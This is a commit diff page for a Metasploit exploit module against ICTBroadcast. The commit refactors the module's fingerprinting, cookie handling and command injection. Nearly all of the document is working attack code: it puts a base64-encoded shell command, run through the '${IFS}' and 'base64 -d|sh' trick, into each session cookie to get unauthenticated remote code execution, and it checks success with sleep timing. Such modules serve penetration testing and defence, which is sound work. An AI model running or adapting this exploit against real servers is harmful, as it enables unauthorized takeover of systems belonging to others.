Skip to content

Commit 2c9053c

Browse files
committed
Refactor fingerprint detection, cookie handling and per-cookie injection
- Centralize JS fingerprint checks in `check` - Memoize `get_valid_cookies` correctly and reuse a single `cookie_jar` - Update `inject_command` to test payload on each cookie separately
1 parent 26099da commit 2c9053c

File tree

1 file changed

+53
-61
lines changed

1 file changed

+53
-61
lines changed

modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb

Lines changed: 53 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def initialize(info = {})
2020
and processed, allowing an attacker to inject arbitrary system commands.
2121
},
2222
'Author' => [
23-
'Valentin Lobstein' # Metasploit module, Vulnerability discovery
23+
'Valentin Lobstein' # Metasploit module author
2424
],
2525
'License' => MSF_LICENSE,
2626
'References' => [
@@ -51,81 +51,73 @@ def initialize(info = {})
5151
end
5252

5353
def get_valid_cookies
54-
return @valid_cookies if @valid_cookies
55-
56-
print_status('Retrieving session cookies dynamically...')
57-
res = send_request_cgi(
58-
'method' => 'GET',
59-
'uri' => normalize_uri(target_uri.path, 'login.php')
60-
)
61-
62-
res_cookies = res&.get_cookies
63-
return [] unless res_cookies
64-
cookies = res_cookies.split('; ').map do |c|
65-
key, value = c.split('=', 2)
66-
next unless key && value
67-
68-
Msf::Exploit::Remote::HTTP::HttpCookie.new(key.strip, value.strip)
69-
end.compact
54+
@get_valid_cookies ||= begin
55+
print_status('Retrieving session cookies dynamically')
56+
res = send_request_cgi(
57+
'method' => 'GET',
58+
'uri' => normalize_uri(target_uri.path, 'login.php')
59+
)
60+
fail_with(Failure::UnexpectedReply, 'No response from server') unless res
61+
62+
if (cookies = res.get_cookies)
63+
cookie_jar.clear
64+
cookie_jar.parse_and_merge(
65+
cookies,
66+
"#{datastore['SSL'] ? 'https' : 'http'}://#{rhost}:#{rport}"
67+
)
68+
print_status("Found cookies: #{cookie_jar.cookies.map(&:to_s).join('; ')}")
69+
end
7070

71-
print_status("Found cookies: #{cookies.map(&:to_s).join(', ')}")
72-
@valid_cookies = cookies
71+
cookie_jar
72+
end
7373
end
7474

75-
def inject_cookie_payload(command)
76-
cookies = get_valid_cookies
77-
return if cookies.blank?
75+
def inject_command(command)
76+
jar = get_valid_cookies
77+
return if jar.empty?
7878

79-
encoded_command = Rex::Text.encode_base64(command)
80-
payload = "echo${IFS}#{encoded_command}|base64${IFS}-d|sh"
79+
jar.cookies.each do |c|
80+
original = c.value
81+
c.value = "`echo${IFS}#{Rex::Text.encode_base64(command)}|base64${IFS}-d|sh`"
8182

82-
updated_cookies = cookies.map do |cookie|
83-
"#{cookie.name}=`#{payload}`"
84-
end.join('; ')
83+
send_request_cgi(
84+
'method' => 'GET',
85+
'uri' => normalize_uri(target_uri.path, 'login.php'),
86+
'cookie_jar' => jar
87+
)
8588

86-
send_request_cgi(
87-
'method' => 'GET',
88-
'uri' => normalize_uri(target_uri.path, 'login.php'),
89-
'headers' => { 'Cookie' => updated_cookies }
90-
)
89+
c.value = original
90+
end
9191
end
9292

9393
def check
94-
print_status('Checking if target is an ICTBroadcast instance…')
94+
print_status('Checking ICTBroadcast via JS fingerprints')
95+
96+
fingerprint_found = %w[
97+
IVRDesigner.js agent.js campaign.js campaign_feedback.js
98+
campaign_integration.js phone.js supervisor.js trunk.js
99+
].any? do |file|
100+
uri = normalize_uri(target_uri.path, 'js', file)
101+
res = send_request_cgi!('method' => 'GET', 'uri' => uri)
102+
res&.code == 200 && res.body.include?('ICT Innovations')
103+
end
95104

96-
res = send_request_cgi!(
97-
'method' => 'GET',
98-
'uri' => normalize_uri(target_uri.path)
99-
)
100-
return Exploit::CheckCode::Unknown('No response from target.') unless res
101-
return Exploit::CheckCode::Safe unless res.code == 200
102-
103-
html = res.get_html_document
104-
title = html.at('title')&.text
105-
keywords = html.at("meta[name='keywords']")&.[]('content')
106-
description = html.at("meta[name='description']")&.[]('content')
107-
108-
if title&.include?('ICT Broadcast') ||
109-
keywords&.include?('ict') ||
110-
description&.include?('ICT Broadcast')
111-
112-
print_good('ICTBroadcast detected, verifying injection…')
113-
114-
[1, 2, 3, 4, 5].sample(3).each do |t|
115-
start_time = Time.now
116-
inject_cookie_payload("sleep #{t}")
117-
if (Time.now - start_time) >= (t - 0.3)
118-
return Exploit::CheckCode::Vulnerable("Injection confirmed (slept #{t}s)")
119-
end
120-
end
105+
return CheckCode::Safe unless fingerprint_found
106+
107+
print_good('JS fingerprint found; performing timing tests')
121108

122-
return Exploit::CheckCode::Appears('ICTBroadcast detected, but injection timing did not match.')
109+
[3, 4, 5].sample(2).each do |t|
110+
start = Time.now
111+
inject_command("sleep #{t}")
112+
if Time.now - start >= (t - 0.3)
113+
return CheckCode::Vulnerable("Injected RCE (slept #{t}s)")
114+
end
123115
end
124116

125-
Exploit::CheckCode::Safe
117+
CheckCode::Appears('Fingerprint present but timing did not match')
126118
end
127119

128120
def exploit
129-
inject_cookie_payload(payload.encoded)
121+
inject_command(payload.encoded)
130122
end
131123
end

0 commit comments

Comments
 (0)